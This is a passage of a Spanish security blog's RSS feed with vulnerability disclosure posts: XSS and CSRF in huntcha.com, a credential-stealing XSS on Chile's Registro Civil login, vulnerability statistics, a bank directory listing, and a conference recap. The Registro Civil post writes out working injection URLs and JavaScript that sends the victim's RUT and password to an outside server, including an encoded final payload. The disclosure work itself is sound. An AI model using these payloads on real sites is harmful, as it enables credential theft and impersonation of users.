<p>Uno de los XSS detectados está en la página de error, cuando no encuentra el &#8220;módulo&#8221;</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/xss1.png"><img class="aligncenter size-full wp-image-2850" title="xss1" src="http://blog.zerial.org/wp-content/uploads/2011/12/xss1.png" alt="" width="568" height="350" /></a></p>
<p>El segundo Cross-Site Scripting, lo encontré al momento de configurar el &#8220;Boss-Mode&#8221;</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/xss2.png"><img class="aligncenter size-full wp-image-2851" title="xss2" src="http://blog.zerial.org/wp-content/uploads/2011/12/xss2.png" alt="" width="565" height="508" /></a></p>
<p>Dentro del sistema, existe la función para que los usuarios puedan invitar a otras personas a participar de la red, mediante un &#8220;mensaje&#8221; enviado por correo electrónico desde el sistema huntcha. Esta función, no valida el Token de seguridad del formulario, pudiendo realizar post desde sitios externos (CSRF).</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form1.png"><img class="aligncenter size-full wp-image-2852" title="mail_form1" src="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form1.png" alt="" width="570" height="517" /></a></p>
<p>Si falsificamos ese formulario y lo corremos de forma local, con un simple html:</p>
<blockquote><p>&lt;form method=post action=http://www.huntcha.com/?c=app&amp;m=send_invitation&gt;<br />
Token Falso: &lt;input type=text name=csrf_huntcha_token value=5ca3fb36f6d005e01d53b02ce9fd4391&gt;&lt;br&gt;<br />
Nombre: &lt;input type=text name=name value=&#8221;AAA&#8221;&gt;&lt;br&gt;<br />
Destino: &lt;input type=text name=mail value=panic@zerial.org&gt;&lt;br&gt;<br />
Mensaje: &lt;input type=text name=message value=&#8221;hola&lt;a href=&#8217;http://www.huntcha.com/?c=index&amp;m=bossmode_denied&amp;url=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3Ehttp://www.google.cl&#8217;&gt;AAA&lt;/a&gt;&#8221;&gt;&lt;br&gt;<br />
&lt;input type=submit&gt;<br />
&lt;/form&gt;</p></blockquote>
<p>El formulario nos quedaría de la siguiente forma:<br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc1.png"><img class="aligncenter size-full wp-image-2856" title="mail_form_poc1" src="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc1.png" alt="" width="310" height="115" /></a></p>
<p>Cuando le damos a &#8220;Submit query&#8221;, al atacante le llegará un mensaje  con un link hacia un XSS dentro de Huntcha, si la victima tiene la sesión iniciada, podriamos enviar los datos de sesión a un servidor remoto, o bien obligar al usuario (sin que se de cuenta) a hacer request al huntcha.com (aprovechando que no validan los security tokens) y obtener información de si mismo, para enviarlo a un servidor remoto. El atacante lo unico que debe hacer es construir un javascript malicioso que permita robar la información necesaria, generar un mensaje llamativo y hacer uso de este metodo para enviar correos.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc3.png"><img class="aligncenter size-full wp-image-2858" title="mail_form_poc3" src="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc3.png" alt="" width="534" height="391" /></a>En esta imagen pueden ver el correo que me llego, con el link malicioso. Cuando la víctima haga click en ese link, se ejecutará en su navegador el código javascript incrustado por el atacante, sin que se de cuenta.</p>
<p>La moraleja es que los usuarios deben ser un poco mas cuidadosos al momento de entregar información sensible a <strong>cualquier</strong> portal o sitio web. Hoy en día <strong>todas</strong> las empresas, portales, foros, redes sociales o lo que sea, dicen ser seguros, pero ya conocen la realidad.</p>
<p>El staff de Huntcha ya fue notificado de estas vulnerabilidades y se están trabajando en solucionarlas.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Robo de credenciales y suplantación de identidad en sitio web del Registro Civil</title>
		<link>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/</link>
		<comments>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 12:20:01 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[gobierno]]></category>
		<category><![CDATA[prueba de concepto]]></category>
		<category><![CDATA[registro civil]]></category>
		<category><![CDATA[robo de credenciales]]></category>
		<category><![CDATA[robo de identidad]]></category>
		<category><![CDATA[session hijacking]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sitios web vulnerables]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2815</guid>
		<description><![CDATA[Hace un par de semanas fueron reportadas en Secureless 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior, quienes ellos mismos se acercaron a mi luego de la charla de la Computer Security Conference [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv.png"><img class="aligncenter size-full wp-image-2816" title="regciv" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv.png" alt="" width="543" height="60" /></a></p>
<p>Hace un par de semanas fueron reportadas en <a href="http://secureless.org">Secureless</a> 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el <strong>grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior</strong>, quienes ellos mismos se acercaron a mi luego de la charla de la <a href="http://8dot8.org">Computer Security Conference 8.8</a> para canalizar mediante ellos las vulnerabilidades de sitios web del gobierno que sean encontradas. El CSIRT del Interior ha respondido muy bien, pero al parecer ni si quiera una &#8220;entidad reguladora&#8221; es capaz de hacer entender a los responsables y encargados.</p>
<p>Las vulnerabilidades de este tipo no son consideradas un riesgo y no se le da la urgencia que se necesita. Esta vulnerabilidad es critica ya que se encuentra en la sección para que los usuarios inicien sesión y permite el <strong>robo de credenciales y suplantación de identidad</strong>.</p>
<p>Este fallo afecta a la página de autentificación de certificados en línea</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl.png"><img class="aligncenter size-full wp-image-2819" title="regciv_certl" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl.png" alt="" width="584" height="210" /></a>En el cual es posible modificar la función el botón &#8220;Ingresar&#8221;, para que nos envíe la información de identificación a un sitio externo.</p>
<p><span id="more-2815"></span></p>
<p>La víctima lo único que tiene que hacer es ingresar a un link malicioso que el atacante le envie por correo o por algún otro medio. Esta vulnerabilidad se aprovecha de la confianza que tiene el usuario sobre el sitio web, ya que usa el <strong>dominio original</strong> y real del Registro Civil, incluso su certificado de &#8220;seguridad&#8221; SSL. La URL maliciosa tiene la forma</p>
<p style="text-align: center;"><strong>https://www.registrocivil.cl/XXXXXXXXXXXXXXXXXXXXXXXXXX</strong></p>
<p>Para aprovecharse de esta vulnerabilidad lo único que hay que hacer es envenenar la variable &#8220;pag&#8221; y sobreescribir la función javascript &#8220;ingresar()&#8221;.</p>
<p>En primera instancia, modificaremos la función para que nos muestre el contenido de cada campo del formulario de autentificación</p>
<p><strong>El nombre de usuario/rut</strong><br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E</a></p>
<p><strong>La password</strong><br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E</a></p>
<p>Al ingresar en estos dos links, veran la pantalla de inicio de sesión normal, sin modificaciones. Ingresen sus datos y presionen el botón &#8220;Ingresar&#8221;, veran como aparece un mensaje con los datos que ustedes han ingresado. Esta prueba de concepto es una simple alerta que muestra los datos que ingresaste en el formulario.<br />
La segunda prueba de concepto será generar una alerta en el navegador donde nos muestre el usuario y la password juntos<br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc'; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert('rut: ' %2b _a %2b ' password: ' %2b _b); }&lt;/script&gt;&lt;script&gt;">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc&#8217;; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert(&#8216;rut: &#8216; %2b _a %2b &#8216; password: &#8216; %2b _b); }&lt;/script&gt;&lt;script&gt;</a></p>
<p>Si ingresamos nuestro datos de acceso y pinchamos en ingresar, podemos ver que nuestra información aparecerá en la alerta del navegador</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl_pwd.png"><img class="aligncenter size-full wp-image-2823" title="regciv_certl_pwd" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl_pwd.png" alt="" width="554" height="414" /></a></p>
<p>Una vez realizada esta prueba de concepto, ya podemos enviar esa información a un sitio externo, donde el atacante podría almacenar la información del usuario al momento de iniciar sesión.</p>
<p>Modificaremos la función &#8220;ingresar()&#8221; de forma tal que nos envie la información del formulario al dominio <strong>zerial.org</strong> (de pruebas), usando el siguiente código javascript:</p>
<pre name="code" class="c">pocpoc';
}}
function ingresar(){
        document.forms[0].action = 'http://zerial.org/PoC_RegCivil';
        document.forms[0].method = 'GET';
        document.forms[0].submit();
}
<script></script></pre>
<p>Se lo inyectamos a la URL vulnerable:</p>
<p><a href=" https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20var%20_a%20=%20document.forms[0].runOI.value;%20var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E"></p>
<p>https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20var%20_a%20=%20document.forms[0].runOI.value;%20</p>
<p>var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E</a></p>
<p>Al ingresar tus datos e iniciar sesión, tu RUT y password será enviado a mi servidor. En el servidor, la información llega de la siguiente forma:</p>
<p><strong>x.x.x.x &#8211; - [xx/Nov/2011:xx:xx:xx -0300] &#8220;GET /PoC_RegCivil?tipoAyuda=&#038;runOI=1544345&#038;dvOI=&#038;passwordOI=prueba HTTP/1.1&#8243; 200 1529 &#8220;-&#8221;"</strong></p>
<p>Podemos ver donde dice <strong>runOI</strong> y <strong>passwordOI</strong>, que aparecen los datos que ingresamos en el formulario de autentificación en el sitio web del Registro Civil. Ya tenemos los datos del usuario</p>
<p><strong>RUT:</strong> 1544345<br />
<strong>Password:</strong> prueba</p>
<p>Finalmente, la URL maliciosa tendría la forma:</p>
<p><a href="http://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45</a></p>
<p>Es suficiente con enviar ese link a usuarios para que los datos de autentificación sean enviados a un servidor externo.</p>
<p><strong>ACTUALIZADO (3 de Diciembre):</strong> Luego de insistir via twitter y enviando este post al CSIRT del Ministerio del Interior, Registro Civil ha corregido la vulnerabilidad.</p>
<p>Como siempre, hay que hacer publicas las fallas para que le den solucion.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Secureless: Estadisticas de sitios web vulnerables</title>
		<link>http://blog.zerial.org/seguridad/secureless-estadisticas-de-sitios-web-vulnerables/</link>
		<comments>http://blog.zerial.org/seguridad/secureless-estadisticas-de-sitios-web-vulnerables/#comments</comments>
		<pubDate>Mon, 28 Nov 2011 12:15:09 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[estadisticas]]></category>
		<category><![CDATA[secureless]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[vulnerabilidades web]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2777</guid>
		<description><![CDATA[En la conferencia de seguridad recien pasada, tuve la oportunidad de presentar el Proyecto Secureless, demostrando la realidad de las vulnerabilidades web de distintos sitios, por categoria, dominio y por tipo de organizacion. Durante aproximadamente 7 meses hemos estado recopilando sitios webs con distintas vulnerabilidades, gracias a nuestras propias investigaciones o colaboraciones de distintos usuarios, [...]]]></description>
			<content:encoded><![CDATA[<p>En la conferencia de seguridad recien pasada, tuve la oportunidad de presentar el Proyecto <a href="http://secureless.org">Secureless</a>, demostrando la realidad de las vulnerabilidades web de distintos sitios, por categoria, dominio y por tipo de organizacion.</p>
<p>Durante aproximadamente 7 meses hemos estado recopilando sitios webs con distintas vulnerabilidades, gracias a nuestras propias investigaciones o colaboraciones de distintos usuarios, hasta la fecha registramos aproximadamente 1058 sitios web, de distintos paises, distintos tipos de entidades (universidades, bancas, etc) y con distintos estados. Actualmente en Secureless manejamos 3 tipos de estados, las Reportadas, No Reportadas</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_estados.png"><img class="aligncenter size-full wp-image-2795" title="grafico_estados" src="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_estados.png" alt="" width="547" height="311" /></a></p>
<p>La diferencia que existe entre las <strong>Reportadas</strong> y las <strong>Sin Reportar</strong>, principalmente se da porque los sitios web no publican un correo o alguna forma de contacto para poder reportar este tipo de fallas, por lo general se limitan a poner un formulario de &#8220;consultas&#8221; y muchas veces en bancos, universidades o sitios del gobierno, hay que completar un formulario con cientos de campos obligatorios.</p>
<p>Los sitios web que realmente <strong>deberian</strong> tener este tipo de procedimiento como los bancos, Universidades o sitios del gobierno que manejen información sensible de personas, no lo hacen. Muchas veces debemos enviar el reporte a correos genericos y/o aleatorios como contacto@dominio, info@dominio o webmaster@dominio, sin tener respuesta.<br />
La relación que existe entre las Reportadas y las Solucionadas, nos demuestra que de alguna forma estamos apuntando para el lado correcto, ya que el 90% de las vulnerabilidades reportadas se solucionan.</p>
<p>De los tipos de vulnerabilidades, hay dos categorías que pelean el puesto para ser los que más sitios registran, el SQL Injection y al Cross-Site Scripting</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_cat.png"><img class="aligncenter size-full wp-image-2800" title="grafico_cat" src="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_cat.png" alt="" width="550" height="312" /></a>Es curioso, ya que una es <em>client-side</em> (xss) y la otra<em> server-side </em>(sql-i), pero ambas ocurren por una mala sanitización de los parametros de entrada.</p>
<p><span id="more-2777"></span></p>
<p>La que los sigue es Full Path Disclosure, una vulnerabilidad que por si sola no es muy critica y que muchas veces se le da la responsabilidad al encargado del servidor, que no deshabilita los errores o el debug, aunque segun yo, el programador debería ser capaz de manejar los errores y validar los parametros de entrada para evitar el <em>crash</em> de la aplicación y asi evitar cualquier tipo de error sin atajar. El tipico ejemplo, cuando modificamos los parametros por GET y transformamos una variable en un Array.</p>
<p>Si analizamos la cantidad de sitios por tipo de organización, nos encontramos con el siguiente gráfico:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_entidades.png"><img class="aligncenter size-full wp-image-2803" title="grafico_entidades" src="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_entidades.png" alt="" width="544" height="320" /></a></p>
<p>Las universidades son de las entidades (segun nuestro criterio) que más vulnerabilidades tienen, ya que muchas de ellas les abren espacios a sus <span style="text-decoration: line-through;">clientes</span> alumnos, por lo general un servidor compartido entre usuarios y en algunos casos extremos, un servidor compartido con aplicaciones de la universidad (intranets, etc).<br />
Luego viene los del gobierno, que mientras más sitios y sistemas ofrecen, menos control tienen sobre las aplicaciones y sobre los datos que manejan. Es muy comun en sistemas y sitios del gobierno encontrar tecnologias antiguas y en muchos casos, obsoletas.<br />
Con eCommerce, me refiero a sitios que ofrecen &#8220;comercio por internet&#8221;, como PC Factory, Falabella, Ripley, etc.<br />
Finalmente tenemos a los queridos Bancos, que sinceramente ellos ni si quiera deberian aparecer en este listado.</p>
<p>El último gráfico, corresponde a sitios segun su pais o dominio</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_dominio.png"><img class="aligncenter size-full wp-image-2807" title="grafico_dominio" src="http://blog.zerial.org/wp-content/uploads/2011/11/grafico_dominio.png" alt="" width="556" height="325" /></a></p>
<p>No significa que Chile sea mas vulnerable que los otros, simplemente que en un principio nos dedicamos unicamente a almacenar sitios chilenos, pero poco a poco fuimos aceptando colaboraciones de otros paises y otros dominios.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/secureless-estadisticas-de-sitios-web-vulnerables/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Directory Listing en Corpbanca.cl</title>
		<link>http://blog.zerial.org/seguridad/directory-listing-en-corpbanca-cl/</link>
		<comments>http://blog.zerial.org/seguridad/directory-listing-en-corpbanca-cl/#comments</comments>
		<pubDate>Fri, 25 Nov 2011 14:30:43 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[corpbanca]]></category>
		<category><![CDATA[directory listing]]></category>
		<category><![CDATA[listado de directorios]]></category>
		<category><![CDATA[sitios vulnerables]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2781</guid>
		<description><![CDATA[El Listado de Directorios en si no es una vulnerabilidad o fallo crítico, todo depende de que tipo de información nos divulgue. El servidor del Banco Corpbanca permite listar directorios entregando información sensible sobre los archivos del sistema, por ejemplo permite acceder a archivos como &#8220;﻿ComprobanteCargoAbono_Personas.aspx.20081217&#8220;, un respaldo del año 2008 del archivo ComprobanteCargoAbono_Personas.aspx que, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/logo_cbc.gif"><img class="aligncenter size-full wp-image-2782" title="logo_cbc" src="http://blog.zerial.org/wp-content/uploads/2011/11/logo_cbc.gif" alt="" width="310" height="53" /></a></p>
<p>El Listado de Directorios en si no es una vulnerabilidad o fallo crítico, todo depende de que tipo de información nos divulgue.</p>
<p>El servidor del Banco Corpbanca permite listar directorios entregando información sensible sobre los archivos del sistema, por ejemplo permite acceder a archivos como &#8220;<em>﻿ComprobanteCargoAbono_Personas.aspx.20081217</em>&#8220;, un respaldo del año 2008 del archivo <em>ComprobanteCargoAbono_Personas.aspx</em> que, antes que  limitaran el acceso, era posible ver el código fuente de ese y de otros archivos.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/DL_31.png"><img class="aligncenter size-full wp-image-2786" title="DL_3" src="http://blog.zerial.org/wp-content/uploads/2011/11/DL_31.png" alt="" width="593" height="465" /></a></p>
<p>En el caso de un banco es peligroso porque permite al atacante conocer de mejor forma el sistema accediendo a toda la estructura de directorios y archivos. Tambien nos damos cuenta que hay scripts de &#8220;prueba&#8221; que nos pueden entregar información sensible</p>
<p><span id="more-2781"></span></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/DL_11.png"><img class="aligncenter size-full wp-image-2787" title="DL_1" src="http://blog.zerial.org/wp-content/uploads/2011/11/DL_11.png" alt="" width="614" height="112" /></a></p>
<p>Este problema en la configuración de los servidores de Corpbanca ya ha sido reportado y se está solucionando.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/DL_2.png"><img class="aligncenter size-full wp-image-2789" title="DL_2" src="http://blog.zerial.org/wp-content/uploads/2011/11/DL_2.png" alt="" width="584" height="339" /></a></p>
<p>Despues de haber dado la presentación de <a href="http://secureless.org">Secureless</a> en la<a href="http://8dot8.org"> CSC 8.8</a>, se me acercó el encargado de la seguridad de Corpbanca, entregandome su contacto y agradeciendo cualquier reporte que pudiese enviarle, hasta ahora he tenido la amabilidad de estar reportandole algunas fallas y el por su lado gestiona que se solucionen.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/directory-listing-en-corpbanca-cl/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>8.8: Computer Security Conference Chile</title>
		<link>http://blog.zerial.org/seguridad/8-8-computer-security-conference-chile/</link>
		<comments>http://blog.zerial.org/seguridad/8-8-computer-security-conference-chile/#comments</comments>
		<pubDate>Tue, 22 Nov 2011 13:03:28 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Anecdotas]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2770</guid>
		<description><![CDATA[El pasado viernes 18 de noviembre se realizó la primera versión de la 8.8, una conferencia orientada a la seguridad informática y hacking. Tuve el agrado de exponer sobre el Proyecto Secureless, que llamó la atención de varios de los asistentes y gracias a eso logré tener contacto con distintas personas encargadas de la seguridad [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/88-Security-Conference-Chile.jpg"><img class="aligncenter size-full wp-image-2772" title="88-Security-Conference-Chile" src="http://blog.zerial.org/wp-content/uploads/2011/11/88-Security-Conference-Chile.jpg" alt="" width="580" height="422" /></a></p>
<p>El pasado viernes 18 de noviembre se realizó la primera versión de la 8.8, una conferencia orientada a la seguridad informática y hacking. Tuve el agrado de exponer sobre el Proyecto Secureless, que llamó la atención de varios de los asistentes y gracias a eso logré tener contacto con distintas personas encargadas de la seguridad o del area de informática de bancos, universidades, etc. Hubo charlas técnicas y otras no tanto, yo expuste, además de la presentación de Secureless, algo que ya había expuesto antes en otras conferencias, sobre Hacking Automatizado, básicamente la automatización de tareas mediante scripts en bash, php, python, etc.  De esta chalra no pude  mostrar todo por falta de conexión a internet.</p>
<p>De las cosas que mas me interesaron, fue &#8220;<em>﻿﻿﻿﻿Gaining Full System Access via Virtual Memory</em>&#8220;, que comenzó hablando sobre congelar la RAM para mantener la información  (Cryogenically frozen RAM) y que obviamente el escenario para explotar este tipo de cosas es bien complicado, ya que hay que tener acceso fisico, sin embargo, esto tambien sucede en las máquinas virtuales por ejemplo con VMWARE, que genera un archivo &#8220;.mem&#8221;, basta con hacer un dump de ese archivo y guardarlo para simular el &#8220;congelado&#8221;. Mediante este ataque, <strong>Thomas</strong> demostró que Linux es más inseguro que Windows en este sentido, por el simple hecho de que Windows es capaz de cifrar la información que está en la RAM, Linux no lo hace. Lo demostró leyendo el hash del archivo /etc/shadow desde la ram y también accediendo a la password en texto plano que se digitó para autenticarse en una shell.</p>
<p>Tambien me pareció interesante la charla de <strong>Marco</strong> Balduzzi quien hablaba sobre HTTP Parameter Pollution, que por el tipo de preguntas que se hicieron creo que no mucha gente entendio el sentido de HPP.</p>
<p>Más allá de las charlas, lo que más me gustó es que existiera la instancia de poder mirar cara a cara a los distintos responsables y tambien conocer a gente nueva que está interesada en todo este tema de la seguridad informática y hacking. Me dio mucho gusto conocer a varios de los que solo me había relacionado via email para reportar vulnerabilidades.</p>
<p>Nos vemos el 2012!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/8-8-computer-security-conference-chile/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
	</channel>
</rss>

